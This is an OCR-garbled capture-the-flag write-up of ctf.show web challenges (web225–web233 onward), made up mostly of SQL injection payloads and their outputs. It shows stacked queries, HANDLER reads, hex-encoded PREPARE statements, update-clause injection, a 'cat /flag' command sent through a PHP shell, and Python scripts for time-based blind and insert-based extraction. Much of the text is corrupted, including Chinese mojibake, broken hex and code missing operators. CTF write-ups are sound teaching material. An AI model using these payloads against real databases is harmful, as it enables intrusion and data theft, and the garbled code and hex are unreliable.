C A f=z£ | 08272d0b-fd32-4849-bbb6-3b09bacdacf4.chall.ctf.show,

1.php checklogin.php css filelist.php img inc index.php js layui main.php pwdreset.php reset.php robots.txt upload upload.php

Elements

Encryption + Encoding ~ SQL~ XSS~ Other ~

@ Load URL http://08272d0b-fd32-4849-bbb6-3b09bacdacf4.chall.ctf.show/1.php?1=Is

1 split URL

Execut
|| [ Postdata [] Referer (] UserAgent [ Cookies Clear All

B 3flag

C A “FE&= | 08272d0b-fd32-4849-bbb6-3b09bacdacf4.chall.ctf.show,

flag{03a1b2ea-c269-4361-97d7-f3352e80dd7f}

Elements

Encryption + Encoding+ SQL~ XSS~ Other~

@ Load URL http://08272d0b-fd32-4849-bbb6-3b09bacdacf4.chall.ctf.show/1.php?1=cat /flag

4§ split URL

web225
7 #:—: handler



A i #Eshow

username=ctfshow';show tables;

{"code":0,"msg":"\u67e5\uBbe2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables_in_ctfshow_web":"ctfshow flagasa"},
{"Tables_in_ctfshow_web":"ctfshow_user"}]}

HackBar P
Encryption + Encoding + SQL~ XSS ~ Other ~ C
@ Load URL http://4d119d4f-633a-4c59-920b-472a86661087 .chall.ctf.show/api/?username=ctfshow'’;show tables;

A handlerizzBX username=ctfshow' ;show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

{"code"0,"msg":"\u67e5\u8be2\u6210\u529f","count™:1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables in ctfshow web":"ctfshow flagasa"},
{"Tables in ctfshow web":"ctfshow user"},{"id":"1","flagas":"flag{674fa6f6-8ac4-4985-94f8-63e093d8b9f4}","info":"you get it"}]}

HackBar Perf
Encryption ~ Encoding ~ SQL~ XSS~ Other ~ Contribut
& Load URL http://4d119d4f-633a-4c59-920b-472a86661087.chall.ctf. show/api/?username=ctfshow';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
4§ split URL

Tk Wi

FlFconcatgiid — VI U8, Z/EHREH/GHK database() NREPATHIEGIT], HE T T, XN TARERE LK
AUEERXBIER, [SQLEAN]FEMAF 20191k fF1F (= FEH)
username=userl';PREPARE y4tacker from concat('s','elect', ' database()');EXECUTE y4tacker;

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":"111"},{"database()":"ctfshow_web"}]}

HackBar

Encryption ~ Encoding ~ SQL~ XSS~ Other ~

@ Load URL hitp://d75931c8-3975-4561-8144-b6ecab5c814f.chall.ctf.show/api/?username=user1’;PREPARE y4tacker from concat('s''elect’, ' database()');EXECUTE v4tacker:

4R concat(char(115,101,108,101,99,116) WA LA E select


https://blog.csdn.net/solitudi/article/details/107823398?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522160652999219721940215459%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fblog.%252522%25257D&request_id=160652999219721940215459&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_blog_default-1-107823398.pc_v2_rank_blog_default&utm_term=%25E5%25BC%25BA%25E7%25BD%2591%25E6%259D%25AF&spm=1018.2118.3001.4450

web226/web228-web230

XL AR R XA B R T web227 2 55— N R T
R TIRZ, 6 (rUBCEEARNITCERE— &, o skl
SRANE S ¥% et it

16 FIEEIASI A / seaiz o

select group_concat(table_name) from information_schema.tables where 7365606563742067726175705/636/6e63617428746162606556e616d65292
table_schema=database() FroeRtL163E > > 066726f6d20696e66672606174696(6e5(736368656d612e7461626¢657320
7768657265207461626c655(736368656d613d64617461626173652829

16T >>

SREREIR

1159 &5 45 R AT TH I L ox

K} username=userl';PREPARE y4tacker from
0x73656c6563742067726175705f63616e636174287461626c655F6e616d6529206672616d20696e6661726d6174696F6e5F736368656d61
2e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829; EXECUTE y4dtacker;
JEHEAMBATEL U TIE, FMsqhENER)F 163 4] B AT

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count™:1,"data":[{"id":"2","username":"user1","pass":"111"},{"group _concat(table name)":"ctfsh ow flagas,ctfshow user"}J}

Encryption + Encoding + SQL~ XSS~ Other ~ Contribute
@ Load URL http://491a3727-d936-4137-ac01-25¢c6a59918a9.chall.ctf. show/api/?usemame=user1;PREPARE y4tacker from

0x73656C6563742067726175705(6366e636174287461626c655[66616d6529206672616d20696e666(726d617469616e5(7 3636865606 1267461626657 32077686572652074616260655(73636¢
& splitURL 17461626173652829;EXECUTE y4tacker;

web227


https://www.sojson.com/hexadecimal.html

» VRERSEHRIE P 7 B AR EERRA B flag R
5‘5 HjJIEP /“payload 1';call getFlag(); BARRBIZERERLE AR
L%ﬂ%,mﬁ:%m #HEMySQLEIF i IT R
EEM EXBXEMYSQL—EE g EMR L
FAIERE information_schema.routines &

B HIAEHAN AN | v roum

736560656374202a6672616d20696e66617 260617469666 517363686560612
Rl Rl <70617574696e6573

select *from information_schema.routines

16HHIEEFTTER >>

HEL T XA E € X EE, AT HEflag#fss 1

{"code™0,"msg":"\u67e5\u8he2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":" 111"},

{"SPECIFIC NAME":"getFlag","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"ctfshow web","ROUTINE_ NAME":"getFlag","ROUTINE TYPE":"PROCEDURE","DATA TYPE":"","CHARACTI
\"flag{8adadd66-3908-4c§2-9ada-

2cb3849e19431\"\n\tEND | "EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS

SQL","SQL PATH":null,"SECURITY TYPE":"DEFINER","CREATED":"2020-11-28 02:33:14","LAST ALTERED":"2020-11-28

02:33:14","SQL_MODE":"STRICT_TRANS_TABLES,ERROR_FOR DIVISION_BY_ZERO,NO_AUTO_CREATE USER,NO_ENGINE_SUBSTITUTION","ROUTINE_COMMENT":"","DEFINER":"root@Ic
{"SPECIFIC_NAME":"AddGeolnetryColumn”, "ROUT\NE CATALOG":"def","ROUTINE_SCHEMA":"mysqgl","ROUTINE_NAME":"AddGeometryColumn","ROUTINE_TYPE":"PROCEDURE","DAT/
set @qwe= concat('ALTER TABLE ', t_schema, "', t_ name, ' ADD ', geometry_column," GEOMETRY REF_SYSTEM_ID=", t_srid); PREPARE Is from @qwe; execute Is; deallocate prepare Is;
end","EXTERNAL_NAME":null, EXTERNAL LANGUAGE" null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL DATA ACCESS":"CONTAINS
SQL","SQL_PATH":null,"SECURITY_TYPE":"INVOKER","CREATED":"2019-10-31 04:15:22","LAST_ALTERED":"20719-10-31
04:15:22","SQL_MODE":"","ROUTINE_COMMENT":"","DEFINER":"root@localhost","CHARACTER_SET_CLIENT":"utf8","COLLATION_CONNECTION":"utf8_general_ci","DATABASE_COLLATI
{"SPECIFIC_NAME":"DropGeometryColumn”,"ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"mysql","ROUTINE_NAME":"DropGeometryColumn","ROUTINE_TYPE":"PROCEDURE","DA

Elements H] HackBar P
Encryption ~ Encoding ~ SQL~ XSS~ Other ~ Contribute now! Hack
@ Load URL http://4aef0ab0-78b4-4841-ae4e-38536c5eb66a.chall.ctf. show/api/?username=user1;PREPARE y4tacker from

p 0x73656c656374202a66726f6d20696e666f726d6174696f6e5736368656d612e7267574696e6573;EXECUTE y4tacker;
1 Split URL

») Execute _ _ _ - )
[ Postdata (] Referer [ UserAgent ([ Cookies Clear All

web231-232

password=1",username=user() where 1=1#&username=1

C A &% | 973c78de-6d0a-4d09-b3d2-ef%4caed3db3.chall.ctf.show

{"code™0,"msg":"\u66f4\u65b0\u6210\u529f","count™:1,"data":[]}

Elements C Sources Ne K kBar erformance Me Application Security Lighthc

Encryption + Encoding~ SQL~ XSS~ Other ~


https://blog.csdn.net/qq_41573234/article/details/80411079

gy Load URL http://973c78de-6d0a-4d09-b3d2-ef94caed3db3.chall.ctf.show/api/?page="18&limit=10

% split URL
D) Execte Postdata (] Referer [ UserAgent [] Cookies Clear All
password=1',username=user() where 1=1#&username=1

BRI T
D % Bre& =g
1 root@localhost 1
2 root@localhost 1
3 root@localhost 1
4 root@localhost 1
5 root@localhost 1
6 root@localhost 1
7 root@localhost 1
8 root@localhost 1
9 root@localhost 1
10 root@localhost 1

BTk R % EiipayloaRi 7]

BERA

password=1"',username=(select group_concat(table_name) from information_schema.tables where
table_schema=database()) where 1=1#&username=1

"4

password=1',username=(select group_concat(column_name) from information_schema.columns where
table_name='flaga') where 1=1#&username=1

15 %lflag

password=1',username=(select flagas from flaga) where 1=1#&username=1

AR TEBBIT

password=",username=(select a from (select group_concat(flagas)a from flaga) y4tacker) where 1=1;#&username=1

web233

RIEBEE



Author:Y4tacker

import requests

url "http://4f5b7639-6d01-45c4-9610-e11239ba8c90.chall.ctf.show/api/?page=1&1limit=10"

32
tail 127

while head tail:
mid (head + tail)
B

payload = "select group_concat(table_name) from information_schema.tables where table_schema=database(

BEE
payload = "select column_name from information_schema.columns where table_name='flag233333"' Limit 1,1"
BEH
payload "select flagass233 from flag233333"
data {
‘username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
‘password': '4'
}
try:
r requests.post(url, data=data, timeout=0.9)
tail mid
except Exception as e:
head mid 1
if head B
result chr(head)
else:
break
print(result)

RBIREG] SHOLIE T, ERBRIERZNIRIED, M\ LIER

JERHIE A R

$sql = "update ctfshow_user set pass '{$password}' where username = '{$username}';";
HRMENRT S5

$sql = "update ctfshow _user set pass = '\' where username = 'username';";

XFE pass BEMIAABA ' where username =3 F3¥ username BIE KIS HU 2 T LAIEHIK T

Author:Y4tacker

# username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=databas
e())-- - &password=\

# username=,username=(select group_concat(column_name) from information_schema.columns where table name=0x666c61
67323361)-- - &password=\

# username=,username=(select flagass23s3 from flag23a)-- - &password=\




or

sys

hor:Y4tacker

# username=, username=(select group_concat(table _name) from mysql.innodb_table stats where database name=database
())-- - &password=\

# username=,username=(select b from (select 1,2 as b,3 union select * from flag23al Limit 1,1)a)-- - &password=\
B — R X ) R R i SR i F 4 AT BAX R B

#t username=,username=(select "2 from(select 1,2,3 union select * from flag23al Limit 1,1)a)-- - &password=\

Author:Y4tacker

# username=,username=(select group_concat(table_name) from mysql.innodb_table stats where database_name=database|
())-- - &password=\

# username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga Limit 1,1)a)-- - &pd

ssword=\

Author:Y4tacker

# username=3', (select group_concat(table_name) from information_schema.tables where table_schema=database())); --

A&password=1

# username=3', (select group_concat(column_name) from information_schema.columns where table _name='flag'));-- A&p|
assword=1

# username=3', (select flagass23s3 from flag));-- A&password=1

:Y4tacker

# username=3', (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));
&password=1

# username=3', (select(group_concat(column_name) )from(information_schema.columns)where(table_name="flagb'))) ;#&pa
ssword=1

# username=3', (select(flag)from(flagb)));#&password=1



https://www.jb51.net/article/134678.htm
https://zhuanlan.zhihu.com/p/98206699

/ /i IETHE or
HEBER
username=1",

(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1

0
o
([

(e Lo Loe Lo oo

ID Br& 45

26 1 banlist,ctfshow_user,flagbb
21 userAUTO passwordAUTO

20 userAUTO passwordAUTO

19 userAUTO passwordAUTO

REWH G, HELRETERLFERNARA, RIEEAETBHZ flag, FTURTEBRBHRMT

Author:Y4tacker
import random

import requests

url "http://35963b4d-3501-4bf2-b888-668ad24elbc5.chall.ctf.show"
url_insert url "/api/insert.php"
url flag url "/api/?page=1&1limit=1000"

=R AR
def generate_random_str():
sttr ‘ab’
str_list [random.choice(sttr) for i in range(5)]
random_str "'.join(str_list)
return random_str

'username': f"1',(select(flag)from(flag{generate_random_str()})))#",

'password "’ :

}
n

requests.post(url_insert, data=data)
r2 requests.get(url _flag)
if "flag" in r2.text:
for i in r2.json()['data']:
if "flag" in i[‘'pass']:
print(i[ 'pass'])
break

break



B0 L% =2 F v F Bintval iR 5, FIEWRTH, FrbE — AN BN AT http://a3f32775-dcc@-42e2-acba-
537e6fd4bel7.chall.ctf.show/api/?id[]=flag

Memcache::get

(PECL memcache >= 0.2.0)
Memcache:get — MRS Imta@ElI— TR

il

Memcache::get ( string $key [, int &$flags ] ) : string

Memcache::get ( array $keys [, array §$flags ] ) : array

WNRRS I BB LAkey{E/akeyFiERITTE, Memcache:get()75 AL AT IRl BIFFAERYE.

fReJLA¢5Memcache:get() 75 EZE—PMEUE (B key) FFREL— M EUENTEE, IREIFEFENEEMN REimE
#*%Za9key-valueyd,

4 X HERE

MySQLET 8] & v R R EERT 5 3% (PWNHUB JETRHARE)
CTFSHOW WEBA ] Ttick 4%


https://www.cdxy.me/?p=789
https://yq1ng.github.io/z_post/CTFSHOW-WEB%25E5%2585%25A5%25E9%2597%25A8-Ttick%25E6%2580%25BB%25E7%25BB%2593/#more
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